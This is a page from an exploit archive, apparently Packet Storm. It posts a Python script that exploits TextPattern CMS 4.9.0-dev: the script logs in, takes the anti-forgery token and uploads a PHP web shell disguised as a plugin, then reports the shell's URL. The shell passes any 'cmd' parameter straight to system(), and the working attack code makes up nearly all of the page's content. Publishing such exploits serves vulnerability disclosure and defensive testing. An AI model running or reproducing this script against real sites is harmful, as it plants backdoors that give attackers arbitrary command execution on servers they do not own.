what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TextPattern CMS 4.9.0-dev Remote Command Execution

TextPattern CMS 4.9.0-dev Remote Command Execution
Posted Jul 4, 2021
Authored by Mevlut Akcam

TextPattern CMS version 4.9.0-dev authenticated remote command execution exploit.

tags | exploit, remote
SHA-256 | 307069fb101ce7b1235c056b927a3ea52055ed68869847914c07062cfff177e6

TextPattern CMS 4.9.0-dev Remote Command Execution

Change Mirror Download
# Exploit Title: TextPattern CMS 4.9.0-dev - Remote Command Execution (RCE) (Authenticated)
# Date: 07/04/2021
# Exploit Author: Mevlüt Akçam
# Software Link: https://github.com/textpattern/textpattern
# Vendor Homepage: https://textpattern.com/
# Version: 4.9.0-dev
# Tested on: 20.04.1-Ubuntu

#!/usr/bin/python3


import requests
from bs4 import BeautifulSoup as bs4
import json
import string
import random
import argparse


# Colors
RED="\033[91m"
GREEN="\033[92m"
RESET="\033[0m"

parser = argparse.ArgumentParser()
parser.add_argument('-t', '--url', required=True, action='store', help='Target url')
parser.add_argument('-u', '--user', required=True, action='store', help='Username')
parser.add_argument('-p', '--password', required=True, action='store', help='Password')
args = parser.parse_args()

URL=args.url
uname=args.user
passwd=args.password

session=requests.Session()

def login(uname,passwd):
data={'lang':'en','p_userid':uname,'p_password':passwd}
r_login=session.post(URL+"/textpattern/index.php",data=data, verify=False)

if r_login.status_code == 200:
print(GREEN,f"[+] Login successful , your cookie : {session.cookies['txp_login']}",RESET)
else:
print(RED,f"[-] Login failed",RESET)
exit()

def get_token():
print(GREEN,f"[+] Getting token ",RESET)
r_token=session.get(URL+"/textpattern/index.php?event=plugin")
soup = bs4(r_token.text, 'html.parser')
textpattern = soup.find_all("script")[2].string.replace("var textpattern = ", "")[:-1]
textpattern = json.loads(textpattern)
return textpattern['_txp_token']

def upload():
file_name=''.join(random.choice(string.ascii_lowercase) for _ in range(10))
file={
'theplugin':(
file_name+".php",
"""
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus>
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?>
</pre>
</body>
</html>
<!-- """+file_name+" -->"
),# The file_name is used to verify that the file has been uploaded.
'install_new':(None,'Upload'),
'event':(None,'plugin'),
'step':(None,'plugin_upload'),
'_txp_token':(None,get_token()),
}

r_upload=session.post(URL+"/textpattern/index.php",verify=False,files=file)

if file_name in r_upload.text:
print(GREEN,f"[+] Shell uploaded",RESET)
print(GREEN,f"[+] Webshell url : {URL}/textpattern/tmp/{file_name}.php",RESET)
else:
print(RED,f"[-] Shell failed to load",RESET)
print(RED,f"[-] Bye",RESET)
exit()


if __name__=="__main__":
login(uname,passwd)
upload()
print(GREEN,f"[+] Bye",RESET)

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close